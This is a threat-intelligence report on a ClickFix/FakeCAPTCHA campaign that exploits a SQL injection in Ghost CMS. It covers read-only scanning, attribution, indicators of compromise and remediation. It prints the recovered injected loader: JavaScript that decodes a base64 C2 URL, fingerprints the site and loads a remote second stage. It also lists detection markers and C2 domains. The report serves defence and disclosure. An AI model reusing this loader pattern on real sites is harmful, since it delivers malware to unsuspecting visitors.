Ghost Stories: investigating an undocumented ClickFix C2 in Ghost CMS

Ghost Stories: investigating an undocumented ClickFix C2 in Ghost CMS

Read-only research into an active campaign that exploits CVE-2026-26980 in Ghost CMS. Every result below comes from public GET requests. We did not exploit the flaw, did not authenticate, and did not write anything. The main scan ran on 2026-06-11.

Key findings

  • An active campaign is exploiting CVE-2026-26980, a SQL injection in the public Content API of Ghost CMS (versions 3.24.0 to 6.19.0, fixed in 6.19.1, released February 2026). The attackers use it to plant a JavaScript loader that sends visitors into a ClickFix/FakeCAPTCHA social-engineering chain.
  • Using only read-only GET requests, with no exploitation and no login attempts, we scanned 3,153 Ghost hostnames indexed by Shodan. 287 results (251 unique domains) contained the injection, and 281 were confirmed again in a second, independent pass (97.9%).
  • 284 of the 287 point to a single command-and-control (C2) domain, restrictes[.]com. At the time of our scan (2026-06-11) it did not appear in the public indicator sources we consulted. We found it by decoding base64 strings in the page content, not by matching a list of known C2 domains. See the dated note under A C2 surfaced from the data for its status at publication.
  • 17 of the compromised sites had already updated Ghost to a fixed version. Updating does not remove an injection that is already stored in the site content. Fixing a site means patching, cleaning the content, and rotating the Admin API key.
  • The victims have no narrow profile. Most are outdated Ghost 5.x blogs, spread across about 25 country-code TLDs. Hosting is more concentrated: about 42% sit on DigitalOcean. The injection is always in post content, never on the homepage.
  • The activity splits into two toolchain clusters, one of them clearly dominant. We group them by tooling and shared infrastructure, and we do not name a threat group.
  • We also found 887 sites that run a vulnerable Ghost version but show no sign of compromise yet. Preventive action can still help these.

Background

Ghost is a widely used CMS for blogs and newsletters. CVE-2026-26980 is a SQL injection in its public Content API. That endpoint is meant to be queried without authentication, so the flaw can be exploited without credentials. Ghost fixed it in version 6.19.1 in February 2026. The affected versions are 3.24.0 to 6.19.0.

The mechanics matter, because they explain why the compromise is so persistent. The injection itself only reads. The Content API stays read-only. But what it reads is the site's Admin API key, which is stored in the database. With that key, the operator logs in to Ghost's separate Admin API, which can write, and edits stored posts in bulk to insert the loader into their bodies. So the chain has two stages: read the key through the Content API, then write through the Admin API. That is why the loader lives in the post records and survives a Ghost upgrade. We come back to this below.

The flaw is used in a financially motivated campaign called ClickFix (or FakeCAPTCHA). On a compromised site, a small JavaScript loader sits in the page content. When a visitor opens the page, the loader downloads second-stage code from a C2 server and shows a fake "verify you are human" prompt. The prompt tries to trick the visitor into running commands or installing malware. What happens when a visitor actually follows that prompt is its own story: we reconstructed a full ClickFix intrusion, from the fake CAPTCHA to a blocked malware loader on the victim's machine, in a separate case study.

Incident responders know the hard part here: most affected operators do not know they are compromised. The site keeps working normally, because the injection only runs in the visitor's browser.

This is the question that guided our work. How many publicly exposed Ghost sites are already compromised by this campaign, and how can we prove it in a way others can check, without attacking anyone, so the victims can be told?

Methodology: read-only by design

One rule shaped the whole project. We do not exploit the flaw, we do not attempt access, and we do not write anything. The scanner sends only GET requests to public pages, the same requests any visitor's browser would send, and looks for traces of the attack in content the site already serves.

This is not a technical compromise. It keeps the work on more defensible legal ground and makes it repeatable and publishable. The proof that a site is compromised is the malicious loader in its pages. Re-exploiting the flaw against third-party sites would put us in the same legal position as the attacker and would add nothing to the evidence. Read-only access does not answer every legal question on its own, since data-protection and computer-misuse rules differ between countries. That is also why we do not publish any detail that could identify a victim. See A note on disclosure.

The scanner uses a User-Agent with a contact address, so operators can recognize the activity as harmless in their logs.

Discovery

We did not start from a prepared list of domains. We queried Shodan with the application fingerprint of Ghost:

http.component:"Ghost"

This returned 2,450 hosts at the time of the scan. Expanding the DNS names tied to each host gave us 3,153 hostnames to analyze. The discovery step is interchangeable. The same pipeline can also be fed from Censys, FOFA, Netlas, or Certificate Transparency logs, with deduplication applied afterwards.

Per-domain pipeline

For each hostname, in this order:

  1. resolve DNS, then fetch the homepage (HTTPS, with an HTTP fallback);
  2. fingerprint Ghost (generator meta tag, assets, markup, RSS) and extract the version;
  3. classify the version against the vulnerable range;
  4. if the site is Ghost, sample several articles through the sitemap or RSS;
  5. scan the homepage and the articles for the signatures;
  6. aggregate, then decide the verdict.

Verdict and version status are two separate properties. A site can be clean but vulnerable, which makes it a candidate for a preventive notification, or patched but still compromised. As we show below, the second case is not just theoretical.

Data-driven detection

The signatures live in a versioned data file, not in the code, and each one has a confidence level (high, medium, or low). The indicators come from published threat intelligence on the campaign (XLab/QiAnXin) and fall into four groups.

  • Known C2 domains. High confidence when found in the page content.
  • String and regex markers: the loader identifier (ghost_once_footer_), the btoa(location.origin) fingerprint, and patterns tied to a second actor.
  • Base64-encoded C2 URLs: the encoded literal used by the loader.
  • Decoded-text indicators: stable fragments such as the path /11z77u3.php, which stay the same even when the C2 domain changes.

Aggregation rule: a site is marked compromised on at least one high hit, or two medium hits, or one medium plus one low. Weak signals on their own give a suspicious verdict.

The key design choice is in-page base64 decoding. The scanner pulls out the atob("…") strings, decodes them, and compares the result with the path indicators. It catches the loader even when the C2 domain is new, which is exactly what happened here.

Results

Across the 3,153 hostnames:

VerdictCount
clean1,478
compromised287
not_ghost497
not_resolvable184
unreachable703
suspicious4

For scale: public reporting by XLab/QiAnXin puts the campaign at more than 700 compromised domains. Our 287 are not a competing total. They are an independent, read-only sample, limited to Shodan-indexed hosts and to the posts we actually fetched, so they are a lower bound on a different population. See Limitations.

Of the 287 compromised results (251 unique domains after removing www duplicates):

  • 285 are attributed to Actor A, and 2 to a second actor with a different signature;
  • one C2 dominates: the same endpoint appears in 284 cases;
  • 270 were still on a vulnerable version, and 17 were already patched but compromised anyway;
  • by major version: 240 on 5.x and 47 on 6.x.

Two points stand out.

This is one systematic campaign. The concentration on a single C2 (284 of 287) shows that these are not separate incidents but one coordinated operation against the vulnerable Ghost population. It may be the work of one operator, or of several actors who share the same loader and C2 under a malware-as-a-service model. Our read-only evidence cannot tell these two cases apart, but in both there is one toolchain and one infrastructure, not many.

Patching is not the same as fixing the site. The 17 sites that were patched but still compromised show that the loader stays in the stored content after a Ghost update, because it was written into the posts through the Admin API, not into the application code. Operators who updated and assumed the case was closed are still infected. Fixing a site takes three steps: update, rotate the exposed keys, and clean the content.

In parallel, we found 887 Ghost sites that are vulnerable and where we saw no injection on the pages we sampled. This is the group where preventive action, patching before the campaign reaches them, helps most. Because we sample only some posts per site, read this number as "no injection detected", not as a guarantee that the site is clean. See Limitations.

Victim analytics: looking for clusters

We profiled the compromised set along a few axes, to see whether it has a structure worth describing. We use two bases below, and we say which one each time: the 287 compromised results (every hit, used for the version counts) and the 251 unique domains after removing www duplicates (used for the hosting and TLD analysis, which is per domain). Three patterns come up.

The injection is in the post content, not in the theme. Of the 251 sites, none had the loader on the homepage. Every hit was inside article pages. This fits content edited through the Admin API, using the key stolen via the SQL injection, which writes into stored post records, rather than tampering in theme files or global code-injection settings. Two things follow. First, a scanner that checks only the homepage will miss the whole campaign, so it has to sample articles too. Second, it explains why updating Ghost leaves the site infected: the malicious content is in the database, and a version change does not touch it. Coverage inside a single site is uneven. About 38% had the marker on only one sampled page, while 29% had it on every page we sampled. So the injection is applied per post, and its spread varies from site to site.

Hosting is concentrated on a few cloud providers. After resolving the victim domains and mapping them to networks, DigitalOcean has the largest share (about 42%), followed by Cloudflare (about 20%), Amazon (about 10%), Hetzner (about 6%), and Linode/Akamai (about 5%). One thing makes all of these figures lower bounds rather than exact values: the roughly 20% behind Cloudflare are served through its proxy, so their real origin network is hidden, and the true DigitalOcean share (and the others) could be higher once those are resolved. The rest are self-hosted single-tenant servers, the usual setup for a self-managed Ghost install. Even with this uncertainty, the concentration is useful: a few providers could reach a large part of the victims through a single abuse channel.

Old 5.x installs dominate, and the geography has a long tail. 84% of the compromised results run Ghost 5.x (240 of 287). The other 47 are on 6.x. We saw none on the older 3.x or 4.x builds, even though they are in the vulnerable range, so those versions seem rare in the exposed population now. The most common builds (5.88, 5.130, 5.82, 5.75) are old releases, so these are long-unmaintained blogs, not recently deployed sites. By TLD (over the 251 unique domains) the set is mostly .com (about half), with a tail spread across about 25 country-code TLDs (UK, DE, NL, CA, AU, and others). This is not a regional operation. It follows wherever a vulnerable Ghost install happens to be.

The takeaway for defenders is that there is no narrow victim profile to warn. The common thread is simply an outdated, internet-exposed Ghost install. The most efficient way to notify victims is through the few hosting providers that host most of the affected sites.

Anatomy of the injection

Here is the injected snippet, recovered from the public page source of a victim's article. It is defanged and not executable in this context.

<script>(function(){try{
  var k="ghost_once_footer_<id>";
  if(localStorage.getItem(k))return;          // gate: runs once per browser
  localStorage.setItem(k,"1");
  (function(){
    var a=location,
        b=document.head||document.getElementsByTagName("head")[0],
        c="script",
        d=atob("aHR0cHM6Ly9yZXN0cmljdGVz…");  // base64 -> hxxps://restrictes[.]com/11z77u3[.]php
    d+=-1<d.indexOf("?")?"&":"?";
    d+=a.search.substring(1);                  // forwards the query string
    c=document.createElement(c);
    c.src=d;
    c.id=btoa(a.origin);                        // stores the encoded origin on the script element
    b.appendChild(c);                           // loads the next stage from the C2
  })();
}catch(e){}})();</script>

Three details matter for investigators.

  • The localStorage gate. The loader runs only once per browser. On the first visit it injects the remote script, and after that it does nothing. This makes manual checks in the browser unreliable: if you reload the page, nothing visible happens, even though the code is still in the source. So verify on the raw HTML, not on the visible behavior.
  • Victim fingerprinting. btoa(a.origin) does not send a request by itself. It writes the base64-encoded origin into the id attribute of the injected <script> element. The second-stage code, once loaded, can read it back with document.currentScript.id and report which site it is running on. The origin also reaches the C2 indirectly, through the Referer header and the forwarded query string. Either way, the operator gets per-victim telemetry.
  • Path stability. The C2 domain can change, but the path /11z77u3.php stays the same. That is the element that let us detect new variants.

A C2 surfaced from the data

The point of this section is the detection method, not one indicator. Decoding base64 in the page content surfaces a live C2 whether or not it is already catalogued. The dominant C2 of the campaign is a good example, because it was not among the indicators we had loaded. It was not in the published C2 domain lists, and not among the known base64 literals. It came out of the data during the scan:

  1. the scanner finds atob("aHR0cHM6Ly9yZXN0cmljdGVz…") in the page content;
  2. it decodes it to hxxps://restrictes[.]com/11z77u3[.]php;
  3. it compares the decoded text with the path indicators and matches /11z77u3.php;
  4. it marks the site compromised (high confidence) on a decoded indicator, not on a known domain.

The high-confidence verdict does not rest on the /11z77u3.php path alone. It rests on that path appearing inside an atob(...) literal that is part of a script-injection sequence: atob, then createElement("script"), then appendChild. That is the typical shape of this loader. The path is the stable element that survives a domain change, and the surrounding loader pattern is what makes a single match reliable rather than accidental.

This is the result that best supports the approach. Instead of counting C2s that were already catalogued, the method found live C2 infrastructure by following a stable artifact of the campaign. In this case the domain it found was, at the time of the scan, absent from the public indicator sources we checked.

Update (2026-06-23, at publication). We wrote this article shortly after the 2026-06-11 scan and published it on 2026-06-23. Before publishing, we re-checked the public sources: VirusTotal, URLhaus, OTX, urlscan.io, and the XLab/vendor indicator lists. As of 2026-06-23, restrictes[.]com has a single public detection: one engine (LevelBlue) flags it as "phishing", added around 2026-06-19, eight days after our scan. RDAP on the same day shows the domain still registered and live, with only the routine registrar transfer and delete locks and no hold or suspension, on Cnobin with Cloudflare nameservers, the same disposable setup described under Attribution. We are not aware of public threat intelligence that ties this domain to the Ghost CMS / CVE-2026-26980 ClickFix campaign specifically. This fits the point above: the method surfaced the C2 from page content well before it reached any feed, and the link to this loader, through the shared /11z77u3.php path, is still ours.

Attribution

We attribute by toolchain and infrastructure clustering, and we do not name a threat group. The evidence we collect is read-only page content, which lets us group activity but not identify the operator. On that basis, the 287 results split cleanly into two clusters.

Actor A (285 results): the ClickFix loader operation. This is the campaign described above. It uses a consistent, distinctive toolchain: the ghost_once_footer_ loader, a localStorage gate that runs once per browser, the btoa(location.origin) fingerprinting call, a base64-encoded C2 URL, and the stable request path /11z77u3.php. These markers match the ClickFix/FakeCAPTCHA loader pattern in public threat intelligence on the campaign (XLab/QiAnXin). The strongest infrastructure link is the shared URL path. The two C2 domains we observed, restrictes[.]com and com-apps[.]cc, are different hosts, but they serve the same /11z77u3.php endpoint and the same loader. The same tooling, plus a reused, non-generic path across changing domains, is what lets us treat them as one operation rather than a coincidence. The concentration on one C2 (284 of 287) backs this up: one toolchain, changing infrastructure, the same payload. Run by one operator or shared as a kit, it behaves as one campaign.

Infrastructure timeline. RDAP records show a steady run of fresh, disposable registrations during 2026. We saw two of these domains directly in victim page content (restrictes[.]com and com-apps[.]cc). The others come from published indicator lists for this loader family, and we did not see them in our scan. We include them as context for the timeline, not as independently confirmed Actor A infrastructure.

C2 domainRegisteredStatus (as of 2026-06-11)Seen in our scan
com-apps[.]cc2025-09-23client hold (suspended)yes (1 case)
jalwat[.]com2026-02-24activeno (from threat intel)
clo4shara[.]xyz2026-04-26activeno (from threat intel)
cloud-verification[.]com2026-05-03activeno (from threat intel)
platecrumbs[.]com2026-05-14client hold (suspended)no (from threat intel)
restrictes[.]com2026-05-21activeyes (284 cases)

For the two domains we observed, the link to Actor A is the shared, non-generic /11z77u3.php path and the identical loader. For the domains that come from threat intelligence, we rely on the published association with the same loader family, and we cannot confirm it from our own data. The overall pattern fits one operation that rotates short-lived domains. restrictes[.]com was registered only about three weeks before our scan, but it already dominates, while older domains (com-apps[.]cc, platecrumbs[.]com) have been taken down. The domains use low-cost registrars (Cnobin, WebNic) and Cloudflare nameservers, which are cheap and quick to set up and replace. A suspended C2, such as com-apps[.]cc, does not clean the victim. The loader stays in the page source and still counts as a compromise. It simply cannot fetch its second stage until the operator moves it to a live domain. This is another reason cleaning the content, not just taking down the C2, is what actually fixes a site. The indicator list also has noise. taketwolabs[.]com, registered in 2019, is in the list but does not fit the 2026 sequence and may be stale or unrelated. We did not see it in the wild, which is one reason we mark the unconfirmed domains explicitly instead of presenting the whole list as fact.

Actor B (2 results): a separate cluster. Two sites carry a completely different signature (sj.ssc/ipa/ and a /api/css.js second-stage path) that points to a different C2 family (script-dev.* and update*). The toolchain does not overlap with Actor A. The /api/css.js pivot overlaps instead with clusters others have reported separately, so we keep it as a separate, minor cluster rather than merging it. These are also the exact two sites that were cleaned between our scan and the re-validation, a different operational pace from Actor A's persistent injections.

What we do not claim. We have no basis to assign either cluster to a named group, a nationality, or a specific operator. The motive is clearly financial, since the goal of ClickFix is malware delivery and fraudulent installs. The volume and the single-C2 design point to automated, systematic exploitation of CVE-2026-26980. But any attribution beyond "two distinct toolchains, one of them dominant" would go past our evidence.

Validation and reproducibility

Research is only useful if others can reproduce it. We treated every detection as evidence with a chain of custody.

Independent re-validation. In a second pass on [RE-VALIDATION DATE], we fetched again (still read-only) every URL where the markers had appeared. Across the 287 cases:

OutcomeCountMeaning
confirmed281loader still present in the source, so a true positive
unreachable4site went offline in the meantime
cleaned2Ghost reachable, markers no longer present

That is a 97.9% reconfirmation rate (281 of 287). The 4 "unreachable" sites are undetermined, not disproved. If we count only the sites we could fetch again, the confirmation rate is 281 of 283, or 99.3%. The two "cleaned" sites are exactly the two attributed to the second actor, and we treat them separately from the main cluster.

Per-case evidence chain. For every case we cite, we kept the exact bytes of the HTTP response; the status, headers, and final URL; the UTC timestamp of the retrieval; the SHA-256 hash of the response; and the injected snippet in context, with the decoded C2.

One-line reproduction. Anyone can reconfirm a case without special tools:

curl -s -A '<user-agent>' 'https://<victim>/<article>/' \
  | grep -o 'ghost_once_footer_[a-f0-9]*'

If the marker appears, the injection is present. To make the timeline stronger, combine this with a snapshot from an independent archive, for example the Wayback Machine, which gives a separately hosted, dated copy.

A note on disclosure

Publishing research that names real victims needs an explicit ethical and legal call, before publication and not after. There are strong reasons not to publish the list of compromised domains while they are still infected. A public list of live victims is, in practice, a ready target list for other attackers. It raises the risk for the visitors of those sites. And it exposes the victims, many of them individuals, small publications, and businesses, to reputational and legal harm before they can react. Some high-profile victims have already been named by XLab and in press coverage. That does not change our position, which applies to our own dataset and is, if anything, the more conservative choice.

The goal of this article is different: to document an active campaign and to share a method the community can reproduce. So we set the boundary like this.

  • What we publish: aggregated data, anonymized cases, the full detection method, and defanged C2 indicators. Everything defenders need, without exposing any victim.
  • What we withhold: the list of 287 compromised domains, and any detail that could identify a single victim.
  • What the community can do: the method can be reproduced end to end with read-only requests. Organizations with a mandate to notify, such as national CSIRTs, hosting providers, and registrars, can rebuild the dataset themselves and reach the affected operators through their usual channels (security.txt, RDAP abuse-c contacts).

Recommendations for Ghost operators

  1. Update Ghost to version 6.19.1 or later as soon as you can.
  2. Check the page source for signs of compromise, on both the homepage and the articles, looking for ghost_once_footer_. Do not rely on the browser behavior alone.
  3. Clean the content. Updating does not remove an injection that is already stored. In this campaign the loader was in the post bodies, so review the posts first. Also check the theme header/footer code-injection settings, even though we did not see the campaign use them.
  4. Rotate the exposed keys and investigate access. Assume both the Admin API key and the Content API key were exposed, and rotate them. Reset admin passwords and active sessions. Review the logs for unusual Admin API writes, for example PUT/POST to /ghost/api/admin/posts/, as well as Content API queries with SQL-like slug, filter, or order parameters. The injection was written through the Admin API, so an unrotated Admin API key lets the operator re-inject even after you clean the content.
  5. Block the C2 indicators at the network level, and tell your users if needed.

Limitations

  • Coverage is limited to Ghost sites indexed by Shodan, a large sample but not the whole internet.
  • The 287 figure is a lower bound, not an exact count. Because the injection is per post and we sample only a few articles per site, a site whose only infected post was outside our sample is recorded as not compromised. Our own data confirms the risk is real: 38% of the compromised sites showed the marker on a single sampled page. So the real number of compromised sites is somewhat higher, and some of the 887 "vulnerable but not compromised" sites may carry the injection on posts we did not fetch. Read these figures as "not detected on the sampled pages", not as confirmation that the site is clean.
  • Detection relies on the signatures of a known campaign. Future variants with different markers will need updated signatures.
  • We infer the Ghost version from the generator meta tag, which can be removed or wrong. For versions close to the patch boundary, we use an explicit "needs verification" state instead of guessing.
  • "Compromised" means the injection was present when we read the page. A site may have been cleaned or reinfected since, which is why we re-validate.

Indicators of compromise

Defanged. Do not visit the C2 endpoints.

In-page markers

  • loader string: ghost_once_footer_<hex>
  • victim fingerprint: btoa(location.origin)
  • loader co-occurrence: atob( and appendChild

Stable C2 path

  • /11z77u3.php. XLab already published this path for this loader family. Our contribution is detecting it via in-page base64 decoding, which is what surfaced a domain not in the public lists (below).

C2 domains observed in this campaign

  • hxxps://restrictes[.]com/11z77u3[.]php. Not present in the public indicator sources we checked as of 2026-06-11 (284 cases).
  • hxxps://com-apps[.]cc/11z77u3[.]php (1 case).

All the results in this research come from public GET requests during a scan on 2026-06-11. The pipeline, the signatures, and the evidence packages (raw HTML, headers, manifests with SHA-256 hashes and UTC timestamps, and re-verification commands) are organized so that any case we cite can be independently reconfirmed. For questions about the method, or requests from organizations with a legitimate mandate to notify, contact the SicuraNext CTI team.